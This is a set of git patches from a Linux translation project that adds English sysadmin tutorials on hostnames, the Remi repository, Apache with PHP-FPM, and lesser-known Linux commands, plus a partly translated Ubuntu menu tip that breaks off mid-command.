procedure that your Linux will ask you to fill hostname information. However, **you can do it later** if you want. +To set it your hostname, you can use this command : + + # hostname dev-machine + + $ hostname + dev-machine + +You **need to be root** user or equal to set / change your hostname machine. The # sign is indicated that you are a root user. The above command is telling your computer to set its hostname into **dev-machine**. If you don’t receive any error message then your hostname is changed. Again, you check it using hostname command to see the result. + +Setting hostname using hostname command **is not permanent**. When you reboot your computer, your setting will gone. **To make it permanent**, you must manually edit hostname configuration files. + +**On Debian / Ubuntu based Linux** + +You will find it in these folders, **/etc/hostname** and **/etc/hosts**. + +Here’s the content of each files. + +**/etc/hostname** + + # vi /etc/hostname + dev-machine + +**/etc/hosts** + + # vi /etc/hosts + 127.0.0.1 localhost + 127.0.0.1 dev-machine + +You will found it **active immediately without restarting** your Linux. + +**On RedHat / CentOS based Linux** + +You will find it in these folders, **/etc/hosts** and and **/etc/sysconfig/networks** + +Here’s the content of each files. + +**/etc/hosts** + + 127.0.0.1 localhost.localdomain localhost dev-machine + ::localhost 127.0.0.1 + +/etc/sysconfig/network + + NETWORKING=yes + NETWORKING_IPV6=no + HOSTNAME=dev-machine + +### How to display dnsdomainname ### + +From hostname definition above, hostname can also display a dnsname for your Linux. If hostname command will display your hostname, then dnsndomainname command will show your domain name. Let’s see the sample. + + $ dnsdomainname + bris.co.id + +On this article, the result of dnsdomainname command is **bris.co.id**. + +If you see the result is (**none**), then your machine **is not configured in FQDN** (Fully Qualified Domain Name). Dnsdomainname command will grab information from **/etc/hosts** file. You should configure it in FQDN format. Here’s the sample : + +**/etc/hosts** + + 127.0.0.1 localhost.localdomain localhost dev-machine + ::localhost 127.0.0.1 + 192.168.0.104 dev-machine.bris.co.id dev-machine + +To display it more detail, you can use parameter **-v** + + $ dnsdomainname -v + gethostname()=’dev-machine.bris.co.id’ + Resolving ‘dev-machine.bris.co.id’ … + Result: h_name=’dev-machine.bris.co.id’ + Result: h_aliases=’dev-machine’ + Result: h_addr_list=’192.168.0.104’ + +### How to display hostname with more detail information ### + +Hostname command comes with some parameters and some aliases such as dnsdomainname command. Here’s some parameter that may useful on day-to-day operation. The results of the commands below is based on **/etc/hosts** configuration above + +**Display the IP Address** + + $ hostname -i + 192.168.0.104 + +**Display the domain** + + $ hostname -d + bris.co.id + +**Display the the short name** + + $ hostname -s + dev-machine + +*This command will produce the same result with only typing hostname* + +**Display with FQDN format** + + $ hostname -f + dev-machine.bris.co.id + +**Display with detail information** + +All the parameters mentioned above can be ‘**summarized**’ by the parameter **-v and -d**. Let’s take a look the sample + + $ hostname -v -d + gethostname()=’dev-machine.bris.co.id’ + Resolving ‘dev-machine.bris.co.id’ … + Result: h_name=’dev-machine.bris.co.id’ + Result: h_aliases=’dev-machine’ + Result: h_addr_list=’192.168.0.104’ + bris.co.id + +Feel familiar? Yes, this result is the same with **dnsdomainname -v** command that also mentioned above. + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/display-set-hostname-linux/ + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file From d65cfa97b810d70d8769be87e1410e2bc8596dbc Mon Sep 17 00:00:00 2001 From: DeadFire Date: Tue, 3 Dec 2013 10:41:40 +0800 Subject: [PATCH 094/148] =?UTF-8?q?20131203-2=20=E9=80=89=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...CentOS 5 or 6 and Fedora 18 or 19 or 20.md | 141 ++++++++++++ ...FPM with mod proxy fcgi on Ubuntu 13.10.md | 208 ++++++++++++++++++ 2 files changed, 349 insertions(+) create mode 100644 sources/How to setup Remi repository on CentOS 5 or 6 and Fedora 18 or 19 or 20.md create mode 100644 sources/Setup Apache 2.4 and Php FPM with mod proxy fcgi on Ubuntu 13.10.md diff --git a/sources/How to setup Remi repository on CentOS 5 or 6 and Fedora 18 or 19 or 20.md b/sources/How to setup Remi repository on CentOS 5 or 6 and Fedora 18 or 19 or 20.md new file mode 100644 index 0000000000..8a288839e8 --- /dev/null +++ b/sources/How to setup Remi repository on CentOS 5 or 6 and Fedora 18 or 19 or 20.md @@ -0,0 +1,141 @@ +How to setup Remi repository on CentOS 5/6 and Fedora 18/19/20 +================================================================================ +Remi repository + +The [Remi (Les RPM de Remi) repository][1] provides the latest version of various software packages related to php and mysql for redhat based linux distros like centos, fedora and RHEL. It provides php, mysql, pecl packages, pear packages any many other open source/free php applications and libraries and many other php related packages. So its designed to assist in setting up apache+php based web servers with various kinds of open source applications. The default centos/fedora distros do no have the latest versions of these packages so repositories like Remi do the job. + +The repository can be easily setup on CentOS/Fedora through the installer rpm which will setup the repository configuration. + +### Setup on CentOS 5.x/6.x ### + +The Remi installer rpm file is available for both 5.x and 6.x versions of CentOS. The urls are as follows + +CentOS 5.x - [http://rpms.famillecollet.com/enterprise/remi-release-5.rpm][2] +CentOS 6.x - [http://rpms.famillecollet.com/enterprise/remi-release-6.rpm][3] + +On CentOS The Remi repository depends on the Epel repository which must be installed along with it, for it to work. If you already have epel repository setup then execute the following command + + $ wget http://rpms.famillecollet.com/enterprise/remi-release-6.rpm + $ rpm -Uvh remi-release-6*.rpm + +If you do not already have Epel setup then run the following command. It will download the Epel installer file and install it along with Remi + + $ wget http://dl.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm + $ wget http://rpms.famillecollet.com/enterprise/remi-release-6.rpm + $ rpm -Uvh remi-release-6*.rpm epel-release-6*.rpm + +For CentOS 5.x + + $ wget http://dl.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm + $ wget http://rpms.famillecollet.com/enterprise/remi-release-5.rpm + $ rpm -Uvh remi-release-5*.rpm epel-release-5*.rpm + +Thats it. Now the remi repository should be setup on your CentOS system. + +### Setup on Fedora 18/19 ### + +On Fedora, Remi depends on the [Rpmfusion][4] repository. So first setup the rpmfusion repository. + + ## Remi Dependency on Fedora 19 / 18 / 17 ## + rpm -Uvh http://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-stable.noarch.rpm + rpm -Uvh http://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-stable.noarch.rpm + +The rpm file and configuration instructions for rpmfusion can be found here. + +After rpmfusion is setup, move ahead to setting up Remi. + + $ wget http://rpms.famillecollet.com/remi-release-19.rpm + $ yum install remi-release-19.rpm + +Or directly + + ## Fedora 20 ## + rpm -Uvh http://rpms.famillecollet.com/remi-release-20.rpm + + ## Fedora 19 ## + rpm -Uvh http://rpms.famillecollet.com/remi-release-19.rpm + + ## Fedora 18 ## + rpm -Uvh http://rpms.famillecollet.com/remi-release-18.rpm + + ## Fedora 17 ## + rpm -Uvh http://rpms.famillecollet.com/remi-release-17.rpm + +Make sure to use the correct url for your Fedora version. That should finish setting up the Remi repository on Fedora. + +### Verify Remi ### + +After setting up the Remi repository, its time to check if its properly done. The Remi repository is disabled by default. If you want to enable it permanently then edit the file /etc/yum.repos.d/remi.repo + + $ sudo nano /etc/yum.repos.d/remi.repo + +> [remi] +> name=Les RPM de remi pour Enterprise Linux 6 - $basearch +> #baseurl=http://rpms.famillecollet.com/enterprise/6/remi/$basearch/ +> mirrorlist=http://rpms.famillecollet.com/enterprise/6/remi/mirror +> enabled=0 +> gpgcheck=1 +> gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-remi + +The very first section that starts with [remi] is the main repository. Change the value of enabled from 0 to 1 to enable it. + +Otherwise it can be enabled via yum when needed using the enablerepo option. + + # yum repolist --enablerepo=remi + Loaded plugins: fastestmirror + Loading mirror speeds from cached hostfile + * base: virror.hanoilug.org + * epel: mirror.unej.ac.id + * extras: mirrors.fibo.vn + * remi: mirror.smartmedia.net.id + * updates: mirrors.fibo.vn + repo id repo name status + base CentOS-6 - Base 6,381 + epel Extra Packages for Enterprise Linux 6 - x86_64 10,031 + extras CentOS-6 - Extras 13 + nginx nginx repo 47 + remi Les RPM de remi pour Enterprise Linux 6 - x86_64 1,320 + updates CentOS-6 - Updates 1,555 + repolist: 19,347 + # + +Using the enablerepo option is sufficient when needed. As can be seen, the remi repository provides around 1320 packages. There are 2 more repos, namely remi-php55 and remi-test that provide even more packages. + +### List all packages ### + +To list out all the packages provided by the Remi repo, use the following command. + + # yum --disablerepo=* --enablerepo=remi,remi-php55,remi-test list available | less + +### Install packages from Remi repository ### + +To install packages from Remi repo, use the enablerepo option again + + # yum --enablerepo=remi,remi-php55 install php + +### Resources ### + +Remi repository official site +[http://rpms.famillecollet.com/][5] + +Remi FAQ +[http://blog.famillecollet.com/pages/English-FAQ][6] + +Remi repository configuration instructions +[http://blog.famillecollet.com/pages/Config-en][7] + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/setup-remi-repository-centos-fedora/ + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://rpms.famillecollet.com/ +[2]:http://rpms.famillecollet.com/enterprise/remi-release-5.rpm +[3]:http://rpms.famillecollet.com/enterprise/remi-release-6.rpm +[4]:http://rpmfusion.org/ +[5]:http://rpms.famillecollet.com/ +[6]:http://blog.famillecollet.com/pages/English-FAQ +[7]:http://blog.famillecollet.com/pages/Config-en \ No newline at end of file diff --git a/sources/Setup Apache 2.4 and Php FPM with mod proxy fcgi on Ubuntu 13.10.md b/sources/Setup Apache 2.4 and Php FPM with mod proxy fcgi on Ubuntu 13.10.md new file mode 100644 index 0000000000..c43dd1c9bc --- /dev/null +++ b/sources/Setup Apache 2.4 and Php FPM with mod proxy fcgi on Ubuntu 13.10.md @@ -0,0 +1,208 @@ +Setup Apache 2.4 and Php FPM with mod proxy fcgi on Ubuntu 13.10 +================================================================================ +### mod_proxy_fcgi ### + +The module mod_proxy_fcgi is a new one and it allows apache to connect to/forward requests to an external fastcgi process manager like php fpm. This allows for a complete separation between the running of php scripts and Apache. Earlier we had to use modules like mod_fcgid and mod_fastcgi which all had some limitations. Mod_fcgid for example did not properly utilise the process management capability of php-cgi whereas mod_fastcgi is a third party module. + +With the arrival of mod_proxy_fcgi Apache finally gets the ability to neatly talk to external fastcgi process managers making it more efficient at the task. Delegating php requests to external fpm servers greatly reduces the load on web servers like apache resulting into efficient utilisation of machine resources and faster processing speed for users on the other end. Along with all that, php fpm can run opcode caching engines like apc in a very stable manner. + +So in this post, our task is to setup apache + php-fpm using the mod_proxy_fcgi connector. + +### 1. Setup Apache ### + +Ubuntu 13.10 already ships with apache 2.4 so all installables are in the repository itself. + +Install Apache if not already done + + $ sudo apt-get install apache2 + +Enable mod_proxy_fcgi + + $ sudo a2enmod proxy_fcgi + Considering dependency proxy for proxy_fcgi: + Enabling module proxy. + Enabling module proxy_fcgi. + To activate the new configuration, you need to run: + service apache2 restart + +Restart Apache + + $ sudo service apache2 restart + +### Configure virtual host ### + +Next task is to configure a vhost to use mod fcgi proxy to communicate with fpm. The vhost configuration files are stored in the following location + + /etc/apache2/sites-available + +Get inside there any create your new vhost configuration file by copying the 000-default.conf file which comes with apache. + + $ cd /etc/apache2/sites-available + $ sudo cp 000-default.conf mysite.conf + $ sudo nano mysite.conf + +Now its time to configure the virtualhost. Here is how I configured the file + +> +> # The ServerName directive sets the request scheme, hostname and port that +> # the server uses to identify itself. This is used when creating +> # redirection URLs. In the context of virtual hosts, the ServerName +> # specifies what hostname must appear in the request's Host: header to +> # match this virtual host. For the default virtual host (this file) this +> # value is not decisive as it is used as a last resort host regardless. +> # However, you must set it for any further virtual host explicitly. +> +> ServerName fpm.localhost +> +> ServerAdmin webmaster@localhost +> DocumentRoot /var/www/mysite +> +> # Available loglevels: trace8, ..., trace1, debug, info, notice, warn, +> # error, crit, alert, emerg. +> # It is also possible to configure the loglevel for particular +> # modules, e.g. +> #LogLevel info ssl:warn +> +> ErrorLog ${APACHE_LOG_DIR}/error.log +> CustomLog ${APACHE_LOG_DIR}/access.log combined +> +> # For most configuration files from conf-available/, which are +> # enabled or disabled at a global level, it is possible to +> # include a line for only one particular virtual host. For example the +> # following line enables the CGI configuration for this host only +> # after it has been globally disabled with "a2disconf". +> #Include conf-available/serve-cgi-bin.conf +> +> ProxyPassMatch ^/(.*\.php(/.*)?)$ fcgi://127.0.0.1:9000/var/www/mysite/$1 +> +> +> Order allow,deny +> Allow from all +> AllowOverride FileInfo All +> # New directive needed in Apache 2.4.3: +> Require all granted +> +> +> + +The important things to note are : + +1. **ServerName** - This is the domain or the subdomain of your vhost. In this example I used fpm.localhost so that when using that sub domain on localhost, php fpm is used. Its just an example. + +2. **DocumentRoot** - This is the root of this vhost from where the web files shall be served. + +3. **ProxyPassMatch** - This is the directive that tells forward all requests for ".php" files to fcgi server at 127.0.0.1:9000. This is where our php fpm process manager would be running. More on this in the next section. +The fcgi url must contain the exact path to the document root. Otherwise it would say "File Not Found" when requesting for files. + +> ProxyPassMatch ^/(.*\.php(/.*)?)$ fcgi://127.0.0.1:9000/var/www/mysite/$1 + +The first parameter is the pattern to match. So all urls that have a ".php" in them followed by an option slash and anything else are matched and the matched part is forwarded to the fcgi server running at 127.0.0.1:9000. + +4. **Require all granted** - After the ProxyPassMatch line we added a section with Require and AllowOverride directives. It is necessary as of Apache 2.4 + +Save the file and enable it using the a2ensite command which saves the effort to create the symlink in sites-enabled directory. + + $ sudo a2ensite mysite + Enabling site mysite. + To activate the new configuration, you need to run: + service apache2 reload + +Now reload apache configuration + + $ sudo service apache2 reload + * Reloading web server apache2 + +That completes the apache configuration. The other half of the task is to configure php fpm so that it can finally work. + +### 2. Setup Php-FPM ### + +Next thing is to setup php fpm. Install it via synaptic, if not already done so. + + $ sudo apt-get install php5-fpm + +The configuration files for fpm are located at + +> /etc/php5/fpm + + /etc/php5/fpm$ ls + conf.d php-fpm.conf php.ini pool.d + +The pool.d directory contains the configuration file for each fpm pool and php-fpm.conf is the main configuration file. Our only work is to configure a fpm pool that is to be used with apache or the specific virtual host. + +The configuration file for a pool is quite large and there are many parameters that can be configured. But in this post we shall be talking about only the important fields that need be set to get fpm up and running + +> ; Start a new pool named 'www'. +> ; the variable $pool can we used in any directive and will be replaced by the +> ; pool name ('www' here) +> [www] +> +> ; Per pool prefix +> ; It only applies on the following directives: +> ; - 'slowlog' +> ; - 'listen' (unixsocket) +> ; - 'chroot' +> ; - 'chdir' +> ; - 'php_values' +> ; - 'php_admin_values' +> ; When not set, the global prefix (or /usr) applies instead. +> ; Note: This directive can also be relative to the global prefix. +> ; Default Value: none +> ;prefix = /path/to/pools/$pool +> +> ; Unix user/group of processes +> ; Note: The user is mandatory. If the group is not set, the default user's group +> ; will be used. +> user = enlightened +> group = enlightened +> +> ; The address on which to accept FastCGI requests. +> ; Valid syntaxes are: +> ; 'ip.add.re.ss:port' - to listen on a TCP socket to a specific address on +> ; a specific port; +> ; 'port' - to listen on a TCP socket to all addresses on a +> ; specific port; +> ; '/path/to/unix/socket' - to listen on a unix socket. +> ; Note: This value is mandatory. +> listen = 127.0.0.1:9000 +> +> ; Set listen(2) backlog. +> ; Default Value: 128 (-1 on FreeBSD and OpenBSD) +> ;listen.backlog = 128 + +Create a new configuration file by copying the www.conf file. And edit the fields as explained next. + +1. The first options is the name of the pool. We named it 'www' over here. Name it to anything you like or after the domain name it is going to be used with. 'yoursite' for example. That way it would be easier to remember. + +2. Setup the user and group that this pool will run with. When you are setting up multiple sites/domains/virtualhosts on a server, you would always want to setup separate user accounts and corresponding pool for each of those. This is an essential security measure, so that every pool has privileges of its own user only. + +3. Setup the listening socket. This is the socket on which the master fpm process shall listen for incoming requests. This can be a unix socket or a tcp socket. However [mod_proxy_fcgi does not yet support unix sockets][1], so we are limited to tcp sockets. +Over here its port number 9000 on localhost. + +Now restart fpm + + $ sudo service php5-fpm restart + +Now the new fpm pool should take effect. You can see the new pool process in htop for example. + +### 3. Test the setup ### + +Now that both apache and php fpm are configured and setup, its time to test. Get inside the document root directory and create a php file containing a call to phpinfo() function and open it in your browser. +The "Server API" should be reported as "FPM/FastCGI". + +Now that apache and php are setup, you may want to install other things like APC, mariadb database, phpmyadmin etc. Move around this site to find how-to guides on those. + +### Resources ### + +Check out the following links to learn more +[https://wiki.apache.org/httpd/PHP-FPM][2] + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/setup-apache-php-fpm-mod-proxy-fcgi-ubuntu/ + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://issues.apache.org/bugzilla/show_bug.cgi?id=54101 +[2]:https://wiki.apache.org/httpd/PHP-FPM \ No newline at end of file From 23a33849d172f2c190dc2e5d329b9e3f8099b0b4 Mon Sep 17 00:00:00 2001 From: DeadFire Date: Tue, 3 Dec 2013 11:05:45 +0800 Subject: [PATCH 095/148] =?UTF-8?q?20131203-3=20=E9=80=89=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...nown Effective Linux Commands – Part IV.md | 185 ++++++++++++++++++ 1 file changed, 185 insertions(+) create mode 100644 sources/10 Lesser Known Effective Linux Commands – Part IV.md diff --git a/sources/10 Lesser Known Effective Linux Commands – Part IV.md b/sources/10 Lesser Known Effective Linux Commands – Part IV.md new file mode 100644 index 0000000000..a5119c9545 --- /dev/null +++ b/sources/10 Lesser Known Effective Linux Commands – Part IV.md @@ -0,0 +1,185 @@ +10 Lesser Known Effective Linux Commands – Part IV +================================================================================ +Continuing the **Lesser Known** series, this fourth article of the series will let you know some useful **funny** and **animated** commands. Here we go into the practical session, without much theory. + +![](http://www.tecmint.com/wp-content/uploads/2013/11/10-Lesser-Known-Effective-Commands-.png) + +- [11 Lesser Known Useful Linux Commands – Part I][1] +- [10 Lesser Known Linux Commands – Part 2][2] +- [10 Lesser Known Commands for Linux – Part 3][3] + +In the fourth article of this series which includes few other lesser known Linux commands, worth knowing. Might be you’re already aware of these commands, no doubt you’re an experienced Linux user and loves exploration. + +### 32. strace Command ### + +The **strace** is a debugging tool which is used primarily for troubleshooting purpose in Linux. It might not be installed by default in your system and you may need to **apt** or **yum** the required package. + +Trace a command execution using strace command: + + root@tecmint [~]# strace pwd + +#### Sample Output #### + + execve("/bin/pwd", ["pwd"], [/* 29 vars */]) = 0 + brk(0) = 0x728000 + mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f29b0df2000 + access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) + open("/etc/ld.so.cache", O_RDONLY) = 3 + fstat(3, {st_mode=S_IFREG|0644, st_size=38427, ...}) = 0 + mmap(NULL, 38427, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7f29b0de8000 + close(3) = 0 + open("/lib64/libc.so.6", O_RDONLY) = 3 + read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\360\355\1I;\0\0\0"..., 832) = 832 + fstat(3, {st_mode=S_IFREG|0755, st_size=1922152, ...}) = 0 + mmap(0x3b49000000, 3745960, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x3b49000000 + mprotect(0x3b4918a000, 2093056, PROT_NONE) = 0 + mmap(0x3b49389000, 20480, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x189000) = 0x3b49389000 + mmap(0x3b4938e000, 18600, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x3b4938e000 + close(3) = 0 + mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f29b0de7000 + mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f29b0de6000 + mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f29b0de5000 + .... + +The **strace** command accepts a lot of arguments and have many options. Refer to man page for detailed information. + +### 33. disown -a && exit Command ### + +Most of the system administrators use [screen command][4] to control jobs running in the terminal background. Let’s say if you having a long running job and want to **detach** from the terminal, you use screen command to do it. But what if you don’t know how to use screen, here comes disown command to rescue. + +The disown command is used to run the jobs continuously in the background even after you closing the terminal session. The syntax of the disown command is: + + root@tecmint [~]# Command; disown -a && exit + +To detach again the long running job in the terminal, use the **jobs** command to find the job number and then use disown **%n** where **n** is the job number. To verify actually the job is running use **ps** or [top command][5]. The **nohup** command is an alternative to the disown command. + +### 34. getconf LONG_BIT Command ### + +The above command shows your machine architecture if it is **32** bit or **64** bit? + + root@tecmint [~]# getconf LONG_BIT + + 32 + +- [Download Linux Command Line Cheat Sheet][5] + +### 35. Display Date on the Terminal ### + +The below command is a combination of several commands, better say it a script. For a person working at shell or terminal, without GUI seeing current system date is tedious job. You have to type ‘**date**‘ command to check today’s date. + +Just execute the below command on you prompt and see the **date** and **time** on the above right corner of terminal. + + root@tecmint [~]# while sleep 1;do tput sc;tput cup 0 $(($(tput cols)-29));date;tput rc;done & + +![Show Date in Terminal](http://www.tecmint.com/wp-content/uploads/2013/11/Date.jpg) + +### 36. convert Command ### + +While writing tutorial, I usually need to produce output, many a times in image format. The above command combination does this for me. Say I need the output of tree command (for **/etc/x11** directory) in image format. What I did at terminal was: + + root@tecmint:/etc/X11# tree | convert label:@- /home/avi/tree.png + +The output of the above command can be seen at the specified location (here, home directory of mine) with the file name specified as **tree.png**. + +### 37. watch -t -n1 “date +%T|figlet” ### + +Remember our description of “**figlet**” command in our earlier article “[20 Funny Commands of Linux][7]”. This command was very cool, this time we will be pipelining ‘**figlet**‘ to show animated digital clock in the terminal. + +Just check-out yourself, remember you must have **figlet** installed on the system, do **apt** or **yum** to install the required package. + + root@tecmint [~]# watch -t -n1 "date +%T|figlet" + +#### Sample Output #### + + _ ___ ____ ___ _____ _ _ Fri Nov 29 10:29:34 GMT + / |/ _ \ _|___ \ / _ \ _|___ /| || | + | | | | (_) __) | (_) (_) |_ \| || |_ + | | |_| |_ / __/ \__, |_ ___) |__ _| + |_|\___/(_)_____| /_/(_)____/ |_| + +### 38. host and dig Commands ### + +Although “**host**” and “**dig**” command is not that much lesser known, still not very frequently used. The host command is **DNS** lookup utility. + + root@tecmint [~]# host www.google.com + + www.google.com has address 173.194.66.147 + www.google.com has address 173.194.66.105 + www.google.com has address 173.194.66.99 + www.google.com has address 173.194.66.104 + www.google.com has address 173.194.66.106 + www.google.com has address 173.194.66.103 + www.google.com has IPv6 address 2a00:1450:400c:c03::68 + + + root@tecmint [~]# dig www.google.com + + ; <<>> DiG 9.8.2rc1-RedHat-9.8.2-0.17.rc1.el6_4.6 <<>> www.google.com + ;; global options: +cmd + ;; Got answer: + ;; ->>HEADER< + +### 39. dstat Command ### + +The **dstat** is a versatile tool, that generates statistics relating to system resource. By default your system might not have ‘**dstat**‘ installed. Do a **apt** or **yum** to install ‘**dstat**‘ before using this very colorful and description system resource generator. + + root@tecmint [~]# dstat + +![dstat command](http://www.tecmint.com/wp-content/uploads/2013/11/dstat.jpeg) + +### 40. bind -p Command ### + +The ‘**bind -p**‘ command will show all the shortcuts available for **BASH** shell. + + root@tecmint [~]# bind -p + +#### Sample Output #### + + "\C-g": abort + "\C-x\C-g": abort + "\e\C-g": abort + "\C-j": accept-line + "\C-m": accept-line + # alias-expand-line (not bound) + # arrow-key-prefix (not bound) + # backward-byte (not bound) + "\C-b": backward-char + "\eOD": backward-char + "\e[D": backward-char + "\e!": complete-command + "\e/": complete-filename + "\e@": complete-hostname + "\e{": complete-into-braces + "\e~": complete-username + "\e$": complete-variable + # copy-backward-word (not bound) + # copy-forward-word (not bound) + # copy-region-as-kill (not bound) + .... + .... + +### 41. touch /forcefsck ### + +The above command will create an empty folder '**forcefsck**', under root directory. This will force Linux System to check the file system on the very next boot. + + root@tecmint [~]# touch /forcefsck + +hat’s all for Now. You People are loving these ‘**Lesser Known Commands**‘ and hence we are continuing the series, the next article of this series will be available very soon. + +Till then stay tuned and connected to **Tecmint**. Don’t forget to give your valuable feedback in our comment section. Do a favor to us, Like and share us and help us spread. + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/10-lesser-known-effective-linux-commands-part-iv/ + +译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.tecmint.com/11-lesser-known-useful-linux-commands/ +[2]:http://www.tecmint.com/10-lesser-known-linux-commands-part-2/ +[3]:http://www.tecmint.com/10-lesser-known-commands-for-linux-part-3/ +[4]:http://www.tecmint.com/screen-command-examples-to-manage-linux-terminals/ +[5]:http://www.tecmint.com/12-top-command-examples-in-linux/ +[6]:http://tecmint.tradepub.com/free/w_makb09/prgm.cgi +[7]:http://www.tecmint.com/20-funny-commands-of-linux-or-linux-is-fun-in-terminal/ \ No newline at end of file From dfc255c5ed05bfd1ea12313d648371a7cd7007fc Mon Sep 17 00:00:00 2001 From: Vic___ Date: Tue, 3 Dec 2013 14:46:09 +0800 Subject: [PATCH 096/148] delete --- ...Classic Menu？ Get Classic Menu Indicator.md | 36 ------------------- 1 file changed, 36 deletions(-) delete mode 100644 sources/Daily Ubuntu Tips–Like GNOME Classic Menu？ Get Classic Menu Indicator.md diff --git a/sources/Daily Ubuntu Tips–Like GNOME Classic Menu？ Get Classic Menu Indicator.md b/sources/Daily Ubuntu Tips–Like GNOME Classic Menu？ Get Classic Menu Indicator.md deleted file mode 100644 index d998ed0f08..0000000000 --- a/sources/Daily Ubuntu Tips–Like GNOME Classic Menu？ Get Classic Menu Indicator.md +++ /dev/null @@ -1,36 +0,0 @@ - Vic020的 wc -Daily Ubuntu Tips–Like GNOME Classic Menu? Get Classic Menu Indicator -================================================================================ -Daily Ubuntu Tips–Like GNOME Classic Menu? Get Classic Menu Indicator - -For those who have been following Ubuntu OS from the beginner, they’ve seen almost if not all the changes Ubuntu have gone through. There have been a lot of changes, especially on the desktop side. From the classic GNOME desktop environment to Unity, Ubuntu have completely been redesigned. - -For some new users, all they know is the Unity desktop environment and just a few have heard of or seen the original GNOME desktop environment that powered Ubuntu previously. Ubuntu is completely different from what it used to be and some are having hard time coping with the way things have changed. - -If you’re an old timer who wish to get back GNOME Classic Menu in Ubuntu Unity, installing Classic Menu Indicator will do the trick. This nifty package get installed in the notification area of the top panel and brings back GNOME Classic Menu experience in Ubuntu. - -Like the classic GNOME Menu, it includes all the applications and structure of the classic menu. It’s easy to navigate and access applications for those who are used to it. For new users, it’s also easy to catch on. - -This brief tutorial is going to show you how install this package in Ubuntu. - -To get started, press **Ctrl – Alt – T** on your keyboard to open the terminal. When it opens, run the commands below to add its PPA archive. - - sudo apt-add-repository ppa:diesch/testing - -Next, run the commands below to install it. - - sudo apt-get update && sudo apt-get install classicmenu-indicator - -After installing it, go and launch the application from Unity Dash. It’s called Classic Menu Indicator. When you launch it, it will automatically dock at the top panel as shown below. - -![](http://www.liberiangeek.net/wp-content/uploads/2013/11/classic-menu-indicator.png) - -That’s it, use it and enjoy! - --------------------------------------------------------------------------------- - -via: http://www.liberiangeek.net/2013/11/daily-ubuntu-tipslike-gnome-classic-menu-get-classic-menu-indicator/ - -译者：[译者ID](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file From 5e5b833c6d54ce27e43c0e9e9d3762d2658047b0 Mon Sep 17 00:00:00 2001 From: Vic___ Date: Tue, 3 Dec 2013 14:47:17 +0800 Subject: [PATCH 097/148] Translated --- ...Classic Menu？ Get Classic Menu Indicator.md | 34 +++++++++++++++++++ 1 file changed, 34 insertions(+) create mode 100644 translated/Daily Ubuntu Tips–Like GNOME Classic Menu？ Get Classic Menu Indicator.md diff --git a/translated/Daily Ubuntu Tips–Like GNOME Classic Menu？ Get Classic Menu Indicator.md b/translated/Daily Ubuntu Tips–Like GNOME Classic Menu？ Get Classic Menu Indicator.md new file mode 100644 index 0000000000..aaca98a14f --- /dev/null +++ b/translated/Daily Ubuntu Tips–Like GNOME Classic Menu？ Get Classic Menu Indicator.md @@ -0,0 +1,34 @@ +每日Ubuntu小技巧 - 更换菜单风格 +================================================================================ +每日Ubuntu小技巧 - 喜欢GNOME风格菜单?安装Class Menu Indicator吧 + +对于那些从初学者一直关注Ubuntu操作系统的人，他们看见几乎所有的Ubuntu经历的改变。发生了许多的改变，尤其是在桌面部分。从经典的GNOME桌面环境到Unity，Ubuntu已经完全地重新设计了。 + +对于那些新用户，他们所知道的是Unity桌面环境和仅仅只是听说过，或者见过在支持Ubuntu之前的原始的GNOME桌面环境。 + +如果你是一个老资格，想要在Ubuntu的Unity回到GNOME风格的菜单，安装Classic Menu Indicator 可以解决这个问题。这个俏皮的包被安装在顶部面板的通知区域，在Ubuntu中带回了GNOME风格菜单体验。 + +像经典的GNOME菜单一样，它包括所有的应用和经典菜单结构。对于曾经使用过它的人们是容易导航和开启应用。对于新用户，它也是容易掌握。 + +接下来的简短指导将会告诉你如何在Ubuntu中安装这个包。 + +马上开始，在键盘上按下 **Ctrl – Alt – T** 打开终端。 +打开完毕后，运行下列命令，加入它的PPA文件 + + sudo apt-add-repository 